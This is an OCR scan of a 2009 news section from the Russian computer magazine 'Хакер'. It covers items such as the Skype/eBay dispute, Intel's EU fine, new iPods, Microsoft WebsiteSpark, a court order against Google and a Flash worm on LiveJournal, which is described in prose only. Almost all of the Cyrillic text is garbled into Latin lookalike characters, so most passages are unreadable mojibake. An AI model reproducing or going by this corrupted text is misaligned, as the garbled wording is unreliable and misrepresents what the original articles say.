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050 BCEM 3A NOCNEAHUWA MECAL,

YMHbIE HAYLIHWUKK

Otnnynyro pazpaboTry npeacTa-
BWAa koMnaHua Sony Ericsson:
rapHutypa Sony Ericsson MH?07
— 3T0 NEpPBLIA B MUPE X3/CET,
I(DTUpblﬁ CaM B COCTOAHUM ONpe-
LEeNNTb, KOTAa HYKHO BKOYNTS
WK OCTAHOBWUTE MY3bIKY, @ KOrna
HYXHQ NMepekniovnTECH B peXum
pasrceopa ABce reHnanbHoe, Kak
BCerpa, npocto — Moaens MH?07

(o

PEETVPYET Ha [ABUKEHUE, TO BCT,
UMEET KeCTOBYIO CUCTEMY YNPaB-
neHus. HTobbl BKNIoYMTE My3bIKY,
NOCTETOUHO BCTABMTL B yLlW 0ba
HayLWHWKa, YTOObI BbIKMIOYUTD

— BbITaWNTE 063 HayWwHUKa U3
yluei, a 4Tobel NepexkNioYnTLCA B
PEXVM rapHWUTYPLI NN NOCTEBNTL
Ha nay3y — BblHYTh, W1 Haobo-
POT, BCTABUTH B YX0 TONLKO OfMH
HayLWHKUK. BeimycTaT 4yno-rapHu-
TyPy B ABYX LIBETOBLIX BapuaHTax

— enTo-0ensii U XpoOMUPORaHHbIi
TUTEH, IJIMHE NPOBO/E COCTABUT
164 cm, Bec — 25.32 rpamma. Llera
HOBWHKWM DyaeT pagHa NnpuMepHo
39 eBpo. Pabatatk rapHuTypa,
NOHATHOE Aeno, byaeT c AesaicaMu
Sony Ericsson, ocHalWeHHbIMY
pasbemom «Fast port».

———

MEGANEWS

Mbl LEJWIW ANENbCHAH

Mbl ke nucany o ToM, Yto cozfatenn Skype Huknac 3eHHcTpeM 1
Anyc CpMUC NLITAIOTCH BEPHYTL CBOe AeTulle o6paTHo, XOTs camu xe
npopanu Skype koMmnanuu eBay 3a 3.1 munnmnapaa AoNNapos yeTbipe
rofaHasan. Ho torga npeanpunMyvBese LiBegckne BusHecMeHsl co-
XpaHWNK Ha pyKax naTeHTsl Ha TexHonaruo Joltid, Ha ocHose KoTopo#
n pabotaer Skype. B utore, eBay wcnonb3oran Joltid no nnuensun,
koTopyt 3eHHecTpeM v Pprnc, cornacHo ceoemy KOBapHOMY NAaHY,
oTo3BanM B cyaebHoM nopsagke Heckanbko Mecalee Hazag. [ocne
Beino caenaHo npeanoxedune o asikyne Skype. OgHako eBay He no-
Wen rno NoBOAY Y WaHTaXkWCTOB M BMECTO 3Tora, npedasn Skype rpynne
4aCTHHEIX UHBeCTOpPoR. Tenepk 65% akumii Skype NpUHaANEXUT MM,

a octaswmecn 35% no-npexHemy aendwTca cobeTseHHocToio eBay.
3eHHecTpem U Dpunc, PACCUMTEIBABLLNE HA «KaMUTYNALMWIO NPATUB-
HVKa», a TOYHEe OXKUAaBLIKE, HTO NOCE aHHYMPOBAHWA NULEH3UHK,
OHW CMOTYT BBIKYNWTE Skype obpaTHo no bpocoBoi LeHe, Hesameq-
nuTENbHO Nodanu B cyd, 0bBuHAs eBay B HapyweHwn nateHTos. B
eBay xe 0o cux Nop A4enatoT XOpPoLY MUHY NPKW NAOX0OK KIpe u He
cobupaTos yCTyNaTh, Aaxe rpo3fck Nepenucarh Bee ¢ Hyns, Aabol
HE HapylWaTb HMYEKX aBTopckux npas. CaywaHnus no 3ToMy 3anyTaH-
HoMy geny Haunytes He padee 2010 ropa.

B 2010 rozy nosBaTCcA ABA HOBBIX
JIOMEHA — VIP U .ECO.

AEHb [IPOTPAMMUCTA
CTAJ 0OULMANIbHbIM

WTak, cnywmnoce gonroxpanHoe — npesuaedt PO Omutpnii Meneeges
YTEEPLWII YKAZ 0 NPUZHEHWM Kaxa0ro 256 AHA rofa ohuUManshsiM NpasaHu-
koM — [lHeM nporpammucta. B obbiuHble rojsl 31a Aata bynet nonagats Ha
13-e ceHTADPA, @ B BMCOKOCHbBIE, COOTBETCTEEHHO, Ha 12-2. Camo yncno 256,
KOHEYHOo, Bbino BbiBparo Hecny4aiHo, B MUHKOMCBSI3M FOBODPST, 4TO COHJIA
[Ba B BOCEMOM CTENEHU <CaMblM MPOrPAMMUCTCKIM BaphaHTomM» ). Yo 3necs
elle nobasuts? C npawestumnm!

HALL LEHTP U3YYEHMUS OBILECTBERHOTO MHEHWA YTBEPIIAET, 4T0 K MHETY
B POCCHM NOZKJIIOYEH KA AbIA 3-Ui (32 %o BCEX KUTENEH CTPAHbI).

> 004

XAKEP 10 /130/ 09



HE YCNEBAELLb
OCMOTPETb?
POJ0IKK NOTOM

Ha YouTube nesisnnacs HoBag QuIKa, KOTOPAsA CUITLHO

0BNerymT XM3Hb BCEM, KTO N10BUT CMOTpeTk ONIMHHBIe PONMKA
W HE BO3PaXaeT NPOTUE NPOCMOTPa GULMOB B OHAakHe.
Tenepb ecnmn Tol HEOXKWUOAHHO NpephIBaeLlh NPOCMOTP PONWKE
(Hanpumep, cnyyaino sakpeie okHo) YouTube 3anomMuHaeT, yto
Tkl CMOTDPEN W HA KAKOM MOMEHTE 0CTAHOBUNCA, U MPU CReayIo-
LieM BA3MTE, Thl NPCLONXMLLE C TOrO e MecTa. PaboTaer 310
Npaswio 4n4 pOANKOB gnuHoi He MeHee 20 MUHYT, @ Bo-13-

. 2n e TECTbI {YPHAJIA COMPUTERWORLD NMOKA3AJIH,
e eonco b= . UT0 GOOGLE CHROME 3.0 B 2.5 Pa3A

e cepirem iy mroouoy ropon cepesscunerBBICTPEE FIREFOX, B D PA3 BbICTPEE OPERA 10
o oo xsste o e urenoot b €Y pag ELICTPEE IES.

3APABOTOK B bJIOTE

Hoeblil coBMecTHbIF MpoekT Google n LiveJournal npeanaraet wzepam, y
KOTOPBIX €CTh NNaTHBI akkayHT B KK, 3apabatsiBats Ha cBoem brore aeHsA.
Cuctema «Toi xypHan — 1Bou gexsr» [Your Journal — Your Money) npocra,
nuroTpebyer Tonbko HanUuMA NaaTHoro akkaytta B KK v akkayHta Google
AdSense. B npodune L nossrnacs Hosas Bknanke «Mosi pexnamas, roe
MOXHO BbibpaTh hopmaT peknamsl [Tekctosan unu BaHHepHas] u MecTo ee
pacnonoxeHus B xypHane. Hya ganblue nonaraercs paccnabutbes v nosxm-
HaTk NNOObI KITWMKOB. KCTGTM. WHTEPECHO — NJlaTHeI2 NONBL30BaTeNn peknamy
No-NpexHeMy BMAEeTE He ByayT, 1 9Ty Toxe, eC/v TONLKO HE PELLAT NOCMOTPETS
Ha Hee g0bpoBonbHO. Bee BbIpyYeHHEIe 0T Noka3oB AdSense feHbri nowgy
BNajenbLy xypHana [3a BelueTom nonv Google). Maes Hennoxa, cnopy Her,
TONBKO BOT BONbLWWHCTBO Nosib3oBaTenei 8 NyyllesM Cnydyae CMoryT EBDHGOTBTE
cebe Ha 0nnaTy akKkayHTa, 4ero Henb3as ckasats 0 Google u Live Journal -]

BCE/IEHCKWM 3ATOBOP NMPOTHB AMD

ECAW Tl K0Tk HEMHOTO CNIEAMLLb 33 TEM, YTO NPOMCXOAWT B MUEE, TO HABEPHAKA 3HAELLb,
410 komnawua Intel He Tak gaBHo Bbina npuroeopexa K Wrpady e pazmepe bonee Mun- §
NMapa espo 3a HEYeCTHYIO KOHKYPEHLWIO. A BCe U3-3a Toro, 4To EBPOKOMMCCIM yAaNoch -
BLIACHUTE, UTo Intel npepocTaBnana cBovM BeHAOPaM pasHoobpasHbie BoHychl, CkMaKK }
W [iPYIMe «MHTEPeCHbIe YCI0BUA», eC/Iv Te B3aMeH COrnallanmch NpeKpaTuTh 3aky Ky
ToBapay AMD Boodue, unw cokpatiTs Mx Ao 5% ot accoptumenTa. Intel s aTseT, pasyMe-
eTce, noganu anennauwio 8 EBponeiickuii cya, a Takxke, 04eBUAHO, UCMYraBLUMCE 33 CBOKD
penyTauunio, pasaynn B npecce HEeManyto WYymMmnxy, 3adBNdq, 410 HUHero I'\O,D,OEHOI'D HUKOraa
He Dbing, a pelwerue EBpokoMuccui HecnpaBeAnuMBo. Tak Kak ckaHman nony4mnca nyb-
JIAYHbIM, EBpOKOMMCCMM HE DCTanoCh HUHETDo MHOTO, KaK PaCKPLITE KapTel M NPeaocTaBuTL
nybnuke GakThl. B uTOre Ha CBET NOABUICA NPeCcc-penus, Coflepkalyni GparMerThl nepe-
MIACKY BBICOKONOCTaBNEHHbBIX COTPYAHVKOB Taknx koMnaHuii kak HP, Dell, NEC, MSHwT.4.
Peus B0 BCEX NPWBELEHHBIX NMWCbMaX MOET O Pas3nUYHbIX «HerNaCHbIX A0r0BOPEHHOCTAX»

¢ komnaruneid Intel. CamblM 4TO HU Ha eCTb OTKPLITLIM TekCToM. Ecnn Bozpaxenius y Intel
HalayTca 1 Ha 310 (2 oHU, ckopee BCero, HamayTes], To 3ByuaTH oK Teneps BynyT kpaiiHe

HeybenuTenbHo.

» 006 XAKEP 10 /130/ 09



[MMPATCKUE KWOCKU — HAJIETAM!

Oueds OPUrUHANBHYIO WTYKY MPUAYMENK Y4yBaKku
13 lepmanuu, nenpepxusaiowme The Pirate Bay.
¥3Hag 0 rpsaylen Npoaake TPeKepa, a Take He
CUNEHO BAOXHOSMBLLUWCE DELLEHUEM CYI3, KOTO-
pbld HeAaBHO NpW3kan kKoMakady TPB BmHoBHOR,
pebsta cnunu ¢ «ByxTe Bl basy [Tonsko Top-
peHT-(ainsl, camo cobol, KpoMe HUX Ha CaMmoM
TPB Hudero 1 HeT) u oTkpslnu Mnparckuil kMock
— Kiosk of Piracy. Tnyxas 6yaka, ofkneexHas
Kopimi cTUKepaMn 1 GoLIof, A8NAETCa TOUKON
nocTyna k nokansHol Wi-Fi cetu v nuwexa
[0CTyNa B MHTepHeT. BHyTpu nokankv nogHat
CanT “I

Ha W B OHMalHe), Tpekep M OTKPBITa BO3MOXHOCTb

3anvsaTk ceon dainsl. Takum obpazom, Npuas «
KMOCKY C HOYTOYKOM MOXHO CNWTL 0TTyNE Nobaoi
TOPPEHT-aNn, a NoToM, BollAs B CeTb, CKa4aTb
BCe, UTO HyxHO. OpraH13aTops KKMOCKa roBOPAT,
UTO XOTENW NOKE3aTe — Aaxe ecnun bopusi ¢
MMPaTCTBOM 3aKPCIOT TPEKepbl, 3aKpotoT daiio-
OBMEHHUKM 1 «BCE MHTEPHETL» B LIENOM, 3T0 BCR
paBeko He yBreT paiinoobmeH, notoMy uto ects
Apyrue nytd. Hanpumep, Takol KMOCK HUKTO He
OTKAIOYMT OT MHTEPHETA, NOTOMY YTO ero 3mech
NPOCTO HET, HET HWKAKWX NPOBaFMARPOB, XOCTRPOB
W ApYTUX NocpeaHuKkos. Uutupys caiT npoekTa:
«HaM He HyxeH WHTEPHET — «4yeca» MoryT
NPOUCXOAMTL FAe YrofHo». Takke opraHM3aTops!
[npatckoro kmocka HapeTes, YTo MPOTUBHUKN
KomvpaiTa No BceMy MUpY NORLEPKAT UX Haum-
HEHWE W OTKPOHT 3HANO0TMYHbIE TOUKM B CaMBbIX
pa3sHbiX FOPOAAX U CTPAHAX.

B MCAFEE
NPEAYNPEXAAKT — 3A
NOC/EQHUA TOL CODTA
KPAZLYLLETO NAPOJIU U
PEKBU3WTbI CTAJIO HA

400% sonblE.

» 008

| {'rquaq ero Konug aoctyn-

. KIOSKOF P!
g Offling

KOMMAHWUS OPERA SOFTWARE BBIMYCTHJIA
®UHANBHYIO BEPCHIO 5PAY3EPA OPERA 10, YEil
NBUOK HA 4 0% BbICTPEE OPERA 9.6.

IPOD’bl CHOBA
OBHOBHJIUCH

Komnanus Apple, Kak 1 oxxuaanoce, npeacTasuna
obHOBNEHHbBIE NMHelKK cBOMX NNeepos [Pod.
HawBonee cunbHbIM M3MeRexrsiM Nonsepres iPod
nano: B Hero noE)anmacb KaMepa C BO3MOXHOCTbIO
CBHEMKI BUAE0 U MUKDOGOH (pa3peLleHiie BUOEo
640x480, koger H.264, 3anuce 38yka B hopMaTe

Phatos
Podcasts
Extras
Setlings
Shufile Songs
Now Playing

AAC], waromep, FM-pagno ¢ GpyHKUMAMK XUBOIA
nayzskl, a TaKKe AMKTOGOH U NOLAEPKKE yripas-
neHus ronocom VoiceOver [Nnwec HEMHOTO «noa-
poc» pasMmep akpana (5o 2.2" piofiMal. MHTepec-
HO, 4TO HEB3WPad Ha HaNu4Ke KaMmepsl, Jenats
dotoiPod nano He ymeet. OcTaneHble nneepa
CTOMEL PaAMKaNbHBIX TEPEMEH He NoHecu. B
SAMHCTBEHHYIO IMHENKY NNEEPOB C KECTKUM
auckomM — iPod classic — BepHynack Mogens Ha
160 6. iPod shuffle Teneps coemecTum c bonb-
LUMM KONMUYECTBOM HaYILHUKOB (HanoMHuM, 4To
BCE KHOMKW YI1PaBeHns HaxoAATCH He Ha Kopryce
shuffle, a BeIHeceHbl Ha NynsT HaywHKKoB Apple
Earphones wnu In-ear Headphones) — Ha pbitike
BCKOpe NosBaTca npeanoxeHus ot Sony, V-MODA,
Klipsch u Scasche. iPod touch B cBoio ouepeas
ctan beicTpee, Ho B 0Tn4me oT Nano He rnonysui
kameptl. Ctue [xobc obbAcHAeT 310 TEM, YTo
KaMepa NpOCTo HE BIE3/A B CTOMMOCTb, TaK KaK B
Apple cnenanu cTaeky Ha «yaewesnexue» iPod
touch. CornacHo onfATL-Takm cnosam [ixobca,
touch ans nons20BaTenei, 3To B Nepeyio ouepe s
— kpaTyaiilas popora B AppStore n oTnvuHas
UrpoBaf NPUCTaBKa, a KaMepa 3TO yKe M3NuLLecT-
BO W HEHY>Hble nepennartel. ObbAcHeHne, MArko
rOBOPS, CTPEHHOE, HO (PaKT 0CTaeTcA pakTomM —
kamepsl B iPod touch HeT.

XAKEP 10 /130/ 0%
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0BbIE BOSMOXHOCTH
] BEB-PA3PABOTHUKOB

MO NPABLAE FOBOPH, XBAITUTb
TOro, KOro TAK IOJIFO PYTAT,
KPAMHE HEMPWBbIYHO. HoTo,
Hackonkko ymena Microsoft neiraer-
cs1 cbnnanTbes © rnkamm 1 Bocbule
scem | T-coobuiecTBOM, 33CNYKMBA-
eT BCAYecKMx noxean. Buepa - 370
] HEPEBE‘,D,EHHBR Ha Dy’CCKMﬁ A3bIK
6rbnunoTeka MSDN [ckonbka 8 310
6bi0 BOYXaHO AeHET, HUKTO JaXe He
3avkaerca) u BecnnaTHsle Bepomm
Visusal Studio gns cTygeHTeE n
HAUMHAID LMY KOMaHT, pa3paboT-
YMKOB [q caM NM4YHO HE NoNEHKUNCA
OTNPaBuTh CKaH CTYLEHYECKaro,
YTOBbL! MONYHUTE NOJHYIO €CTYANI0»).
|1 BoTTENEPSE HOBOE KNBCCHOE NPef-
noxenue - Micresoft npepgocras-
JIAeT BCe, 4TO MOXET flOHaﬂ,OﬁMTbCﬂ
Hebonbwoil Beb-cTyauu. [pakti-
yeckh becrinatHo.
[puHaTL yyacTie B Nporpamme
WebsiteSpark (v microsofl
n/rus/web/) MoxeT nobas crynus
seb-pazpaborymkos, ecnu obuiee
YMC0 PADOTHMKOE K KOMMaH U He
npeesiwaeT gecaty yenoeek. B Poc-
CWW TIOJ, 3TOT KPUTEPWIA, BEPOATHO,
nonanaet HonsWUMHCTE0 NOL0BHBIX
KomnaHuii. B oblieM, paxe 8 ToM
Cly4ae, ECTIN B KOMTIZ2HMK YUCIUTCS
0MH eAVHCTBEHHKKIF YeN0BekK, 1
3TOT YENOBEK - Tbl, HUYTO Tebe He
NnoMelwaeT Talkoke NoANMCcaTeCH Ha
3Ty nporpammy. [ouemy Het?

MOLLLHbIN
HABOP CPEACTB

BoHYyChI 0T y4acThs B CTYAMM Thi N0~
Slyqaellb cpasy B Buae Habopa uHe-
TPYMEHTOR /14 NpOeKTHROBaHWA 1
pa3paboTkn NpUAOKEHWIA, a Takxe
codTa 4N 0praHu3aumi XoCTUHIa
Teow kogeps! Nony4YaT 3 NMUeH3un

XAKEP 10 /130/ 0%

Ha Visual Studio 2008, npuueme
Professional Edition, BepcTanbLimk
M ,DMBEH?IHGP CMOXET UCMNMONL30BaTh
nonHoueHHyo Expression Studio (1
nuuensual nn xe Expression Web
(2 nuuensun). Hesaercumo ot Toro,
cobupaelbCs N Thl CaM XOCTMTL
Cal:ITbI—I'\pDeKThI WNK>Ke NpocTo
MMETh MI0W3aaKy 408 TECTMPOBaA-
HWUH, Thl BJ'HDE!OM cnyyae nonyya-
ews nuueH3uoHHsie Windows Web
Server 2008 1 SQL Server 2008
Web. Ho ecnu Beb-pazpabotumk
Cepbe3Ho nﬂaﬁmpye‘r3anMaTbcn
pasMelleHuem eb-caitos, To emy
ByneT NpefoCcTaBNeHo Mo YeTuipe

pa6oqmeﬂmueH3wm «Ha npouec-

cop».

Kak ebe? Efpa 834BLWMCE CNPU-
aTenem 3a paspabotky Beb-npu-
NOXEHWH, Thl CMOXELLb NO3B0NNTE
cebe nonHyo Visual Studio. B
cnyyae ¢ becnnatHoi Express
Edition npnLUnocs bl MUPUTECA ©
OTCYTCTBUEM UNit-TecToB 1 cnaboi
NOALEPKKOA COBMECTHON paboTsl.
TyT ke Thl Cpasy nony4Yaells naker
M3 NMONHOUEHHBIX MHCprME‘HTOE,
KoTOphle MOTyT NoHabuTLCa ANg pa-
B0THI NPOrpaMMAICTOB, AKM3aHHEPOB
nagMuHucTpaTopes. [lonpasne
rosopg, 7ebn HrkTo He obAspiBaeT

BecTu pazpaboTky MMeHHO AnAa
nnatdopmel NET - Expression

B N10BOM Cyyae NoAoHAET Ans
[W3aliHepOB W BepCTaNbLLIWKOB,
HE3aBMCKUMO OTTOTO, HA KaKoM Tex-
Honoruu ByaeT nocTpoeHa norvka
NpUNOXKeHWs. A BCe CEpBEPHbIE
KOMMOHEHTH! OTAWYHO CNPERATCS
C XOCTUHIOM nplﬂﬂo)KG‘HMﬁ‘ Hank-
caHHbix Ha ToM xe PHP. Tem bonee,
BTBOEM pacnopsxeruny byaer
nanensynpaenequs DotNetPanel
N9 3pPEKTUBHOrO yrpagneHus
napaMeTpamu pasmelleHus seb-
CalToB.

BO3MOMHOCTb
3ACBETHTHCH

Bonslas npobneMa HaunHaoLWwen
CTyAWK - 3aBUTL 0 cebe, 3acBe-
TUTECA Nepes NoTeHUMansHbIM
3aKa34vynKkamMu KM 4oKa3aTtk, 470 CNo-
cobHa BLINOMHATL CAMbIE CII0¥HBIE
3apaHus. B pamkax nporpaMmbsi
sanyuieH caint WebsiteSpark
Marketplace, rpe pazpaborymk
MOXET NaThb MHpOopMaLMio o cebe
W NONy4uTs peanbHbli LWaHe beiTs
HaWfeHHbLIM 3aKaz4ymKkamMm, ATo
peanbHag BO3MOXHOCTb MONYHNTh
NepBUYHYD U pacmmpmby:»Ke

CYLLECTBYIOLYIO KNMEeHTCKy0 Ba3y.
Bonee 1oro, Ha pecypce «[anepew
8eb-NPUNOXKEHWI» MOXHO pa3Mec-
THTb cabeTBEHHbIE pa3paboTky,

K KOTOpbIM 6y,n,yr MMEeTk A0CTYN
TeICAYM pazpaboTUMKOB 1 3aKasHKu-
KOB, >Kenatawmx Bb\ﬁpaTb roTOBLIE
BeB-NPUNOXKEHWA N peLlEHKS.

NOYEMY
BECIIATHO?

Kak 1 nioboii nonb3osaTenb 14~
LeHsuoHHoro M0, Tei nonyyaels
NpodeCcCcUOHaNbHYIO MOALEPXKKY,
BTOM YKCne ABa obpallerns B
cnyxby TexHru4eckon nogae-

PICKI ANA yCTpaHeHKs npobnem
TEXHWYECKOro Xapakrepa. [ToMumo
37T0I0 — HeDrpaHHHeHHbm AO0CTYN K
yNpaBAfEMbIM FpyNnamM HoBoCTel
nHa cainte MSDN 1 HeorpaH1yeHHas
nogfepxka B pelleH Bonpo-

COB HETEXHUYECKOTD XapakTepa.

B 0BbiuHbIX yCNOBUAX BCE 3T

Bl cTomno Hemano. B ciyvae ©
WebsiteSpark HukTo He bypeT
BpaThk c Tebs AeHer 3a npucoeguHe-
HKe K NporpaMMe U UCnonb3osaHue
ee nperMyLEecTB. ENUHCTREHHbIN
GUHAHCOBBIN HIOAHC 3aK/1YaeTCH
B TOM, 4TO B Cydae npekpallgHnia
y4acTua B nporpamme byner Heob-
XOAWMO YINaTUTE CUMBONMUECKKA
s3Hoc g pazmepe 100 gonn. CLUA.
MpyuvHB Noa0bHOA WeapocTy

co cTopoHsl Microsoft Bnonne
NOHATHbBI: 3T0 MHBECTULWK B Byy-
wee. CeroaHs ThICAYM ManeHbKMx
KoMMaHwi nonysar becnnatHeii
COT U CMOTYT NOCTROWTL BU3HEC HA
ocHose TexHonornin MS, a zaeTpa
CTAHYT KPYNHLIMU GUpMarMu 1 byayT
pabotate ¢ Microsoft yxe B ponu
busHec-napTHepoB.
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POCCUWCKUE KOMMUPACTDI
ATAKYIOT

Haly 2aLUMTHYKM 3BTOPCKWUX MPas, MOXOXE, PeLUniu NepeLleronaTh 3anas-
HbIX KOMIIEr — Te Moka He foLUNK Ao 0bpalleH i K MHTepHET-MOMCKOBUKaM,
cTpeboBaHnamm yBpaTs «KpUMUHaNbHbLIE» CCEINKW U3 PE3YLTATOR NOKMCKa.
Asat poccuiickas accoumaums DVD-u3paTenei, 3aHMMaiolianca pacnpo-
CTRaHeRWeM Yepes ceTb LMPPOBbIX Konuid GrNsMOB, Harpasuna n1csMa

& Google, «AHpekc», Rambler u Mail.ru.fifs npraarvs TpeboBannam
CePLe3HOCTM, B X0[, Kak 0DbIYHO, MOLWAW LMBPEI, 4eCKaTs, U3-3a ¢ainoob-
MeHa koMnanun TepaioT 15% goxona ot npofasx v nopaaka 10% npoleHtos
npubeiy oT kntorpokata. Tem He meHee, B pycckom Google accoymaumio
DVD-un3patenei BexMBO NepeapecoBanil B raNoBHOM oK, Hassas To,
YTO OHW NpeanaraioT, «LeH3ypupoBaHem», a B «Pambnape» oTKOMMEHTU -
POB2MH, 4TO NOWCKOBMKKM HE MPOBEPSIOT NMLUEH3WN Y CAATOB, 8 TMLLb BhIAA 0T

COLEKTUBHYIO KAPTUHY.

HD-MJIEEP YHUBEPCAJI

Komnadua Compro Technology nosepana o
BbIMyCKe Ha POCCUMCKNI peiHOK HoBaro HD-nne-
epa «VideoMate Network Media Centre 1000W»,
KOTOpbIA cnocobeH 3aMeHuTh cobol Lensiit pag
YCTROMCTE, CTEB MeAniHbIM LeHTpom foma. [neep
MOXKET MOXBACTaTbCs nogaepxkoi popmarta H.264
1 paspellerns Bnnote o 1080p [Full HD), ymeeT
BocrnpouzeoauTs Biaeo ¢ HD-kamep dopmara
AYCHD Be3 npeasapuTensHOR KOHBEPTALLM,
aTawke uMmeeT SATA-uHTepdeiic, Tak uTo ana
XPaHEHWA O8HHBIX MOXHO MCnonb3oBaTe M HDD.
MoMUMO MEPEYUCNIEHHOTD, BEINDIHEHHBIN &
M3ALLIHOM cepebprcToM Kopnyce Aesaiic yMeeT
NOAKNIOYaTLCA K UHTEPHETY nocpeacTeom LAN
v becnposoaHsix ceteit 802.11g, n moxeT naxe
wcnonysTs 0basanHocTy BitTorrent-knnenTta. Kak
HETPYAHO [0raAaTecs, CXPaHeHWEM U BOCTPOW3-
BefeHuem prnsMoB, My3siky, GoTorpaduil n apy-
roromenua-koHtenTay 1000W Het Hukaxkux
npobneM, nneep cNpaenNAaeTcs ¢ 3TMM
Ha ypa. Elle ofHKM NpUATHBLIM
BoHycom cTano naccueHoe
OXNSK[EHWE, M KaK CNeACcTBu1E
— COBepLIEHHO Decluym- K4 M B 3

Hag paBoTa ycTpolicTea. ’ \"'InnMgl-n

3BCh CTOMUT 3aMeTHTL, YTa, ; ; . Ceteson meguauenr 1000W
BnaroLaps xuTpoii cucteMe = =
LVIPKYNALMY BO3LYXE, NNeep
He MeperpeBaeTcs Aaxe npu
AnutensHol pabote
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BOUTECH HE3HAKOMBIX
E-MAILOB

OpurmHansHer npeyeaert coznan cya CLUA, korpa obasan
KOMMaHUK Google NpefocTaBuTh NW4YHbIE AaHHbBIE U AeaKTUBU-
POBATL akkayHT NoNb30BaTENd, K KOTOPOMY CAYHaiHO nonanm
cexpeTHble BaHkosckue ganHsle. Bee Havanock cToro, 4to
0fauH 12 coTpyAHKkoe banka Rocky Mountain cnyuaiiHo otnpa-
BWJ M3, COAEPXaLWMIA KOHQUAEHUWANbHbIE AaHHble 0 1325
OPMANYECKIX 1 GU3UYECKUX NTMLAX HA HEMNPaBUITBHbBINA aapec.
MpoLTpaduBLLMiCS COTPYAHWK COOBLLWA O CAYYMBLUEMCS, U
Rocky Mountain noneiranuce 0To3sats Nncbmo, obpatuBlmnck
8 Google c npocsboit ero yaannTs, Ho nonyunnu oTkas. Torga
Bank nogan Ha Google B cyp, Tpebys NnpeocTaBuTs faHHbIE O
noNb30BaTeNe, K KOTOPOMY «AKoDbI CRy4aiHo» yTekna Hop-
Mauua. B utore, defepansHblid cyfba noctaHosun, 4to Google
0B5A3aH He TONLKO NPefoCTaBUTL I HbIE JaHHbIE O 03epe
(KOTOpLIf, KCTaTW, 40 CUX NOP He 0BBABUICS, XOTH eMy Mucani),
HO 1 [€aKTUBKUPOBATL ero akk. KoHeuHo, yTedka Morna BuiTs He
TEKOW V3K W «CnyYailHOM», M € 3TUX N03MUKMIA feicTend baHka
BMOJSIHE MOHATHbLI, HO C APYrol CTOPOHE! — a ecniy AelCcTBu-
TenbHo nocTpadan HeBuHoBHLIA? [NoTepa e-mail akkayHTa co
BCer UHGOpMaLKMeR B HAlLW 4HW He caMmast MPUATHaRA WTyKa, He
rosops yxe 0b «ocafker, KOTOPOW TOXE HABEPHAKE 0CTAHETCS,
KOrAa K UyBaKky BOPBYTCH € 0B5ICKOM, MU CKPYTAT ro rae-Hu-
bynk Ha ynuue. [la v Boobule nonyyaeTcs, 4to ecnn Tebe Ha
roNoBy CBANMTCA M2IAN C KaKOI|-To CeKpeTHON nHpopMaLVEeR,
TO NOCTPaAATH 0T 3700 MOXKELLL THl, & HE OTNPaBWBLLNIA ero
uenosek. OpUrMHansHo, 4TO U TOBOPHTS.

UIPOLAENDI
NOAKJHYUNIACH

KPROJECT NATAL

i

» 012

BUPYCbI
B COLUANBHBIX CETAX

HoBas 2apasa aana 3Hars o cebe, pacnpocTpaHuBLLIKCE B «)KWBOM sypHanes»
[KK). Maneaps Bein HanucaH Ha Flash u npaTance B NocTax, conpoBoxXaae-
MEIX BMAE0-KoHTEHTOM. Ecnv 3anoruHenslin B L) nonb3aosaresb HaTbiKascs Ha
33PaKEHHbIA TAKMM NOCTOM XKypHaJ, ero cobCTBEHHEIN Bnor Toxe MHPULMpo-
BaCcA Yepes Kpocc-aoMeHHblid 3anpoc Ha Livejournal.com. Bupe chpaceigan
HACTPORKA NOCNEAHMK 38NMCEN BKYPHANE Ha HACTPOMKK No yMondaHuio (2a-
MVCK CTAHOBMNKCh MyBINYHEIMK U CONPOBOXAANMCE AeoTHLIM 03EPrMKoM),
BLIBELLWBAN HOBYI 33MNUCh, cofepxallyto Flash-3apasy, a Take e-mailagpec
x03A1Ha XK CTNPABNANCA MPAMUKOM K aBTOpaM BUpyca. HecMoTps Ha 370, B
Sup Fabricyrsepxaatar, 4To crydaes kpaxu naponeii e boino. Bnposem, Bos-
MOXKHO [0 3TOM0 NPOCTO HE YCNeno AoiTh — NocTpaaTsycreno BCero nopaaka
100 venosex. MNonyuwe kanchsl ot iozepos, B SUP buicTpo npukpsiny aocTyn

KO BCEMY BMAS0-KOHTEHTY BOOBLLE, W, VLI YCTPAHWB YA3BMMOCTD, «BEPHYNN
BrAeo» nenbaosaTenam. C moxoxumu cnocabamy pacnpocTpaHeH s BUpYycoB
y>Ke CTaNKMBanncs colyransHele cetn «OaHoKNacCHKKW» 1 «BKoHTakTe», n
HYXKHD OTAATE AOMHOE Sup — Apyrie KaMNau pearvpasanit Ha Npogenku
BYPYCMENKEPOB HE TaK ONEPaTUBHO X

Bce bonee MHTEpeCcHkie HOBOCTW MOCTYNAkT U3 cTaHa pa3paboTku Project Natal. M

yoKe He pa3 nucanw ob 3ToM MHHOBaLMOoHHO| TexHonorvK Microsoft, Bharonaps koTopoi
WrpaTe MYNpaenaTe MeQMa-KOHTEHTOM CTAHET BO3ZMOXKHO bezo BCAKMX MaHUNYIATOPOB.
Bce uroTebe notpebyerca ¢ Project Natal — tBoe cobeTeenHoe Teno [He cuuTas, koHeyHo,
cexcopa ans XBox 360, ana kotopoii Natal pazpabatsizaerca). Xouews — nucrai MeHio
B3MaxXOM PYKM, XO4ELb — CKAYM, KAK CYMACLLELLUNN, «KaTaACh HA CKENTE», «MTpai B
q)yTEOJ'I»‘ «Pynu» K Tak panee. Mobuie ABVXEeHWA, pacno3HagaHue MUMWUKKW, NpaxkTuHeckn
Ntobbie CUMYAATOPb!, HTO MOIYT NPMATK B FOA0BY, MOAHLIA MHTEPaKTUB C BUPTYabHbIM
«3d3KkpaHbem», 1 bonsline NnepcrnekTrenl B 6y,11yu.LeM, BNNOTE 40 WONKUHra ¢ (I)yHKLI,M“

€N NPYMEPKA Ha PEANLHOID ceba BUPTYaNsHOR OAEX AL Ho Takow TexHonarm HyxHa
NOANEPKKE, HYKHBI KOMNAaHKK, KOTopble ByoyT BbINyCKaTe NPOOYKTLI Nog, Hee, Ha 3ot cyet
BCE CTOMHECKM «XpaHNW paiuoMoNHanue», 1 BoT Ha npolwealei T6S'09 (Tokyo Game
Show| cpasy psi, KOMNEHKIA €BbILLNK W3 TeHW», 0BbABNE 0 paBoTe Hag, NpoeKTaMu 4ns
Natal. Cpeaw Hux okasanucs Takie MOHCTPLI kak Sega, Electronic Arts, Activision Blizzard
1 Capcom. CTpallHo NogyMaTE, UTC Y HUX MOKET NONYYNTHCS.
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IITPAG
3A TPOJUTHHT

Paoccus CTapaerTcyd BO BCeM HE OTCTaBaTh OT «NPOrpeccuBHOrO
MUpa», HO MOYEMY-TO 334aCTYI0 Y HAC BCe NoyYaeTcs, Kak B
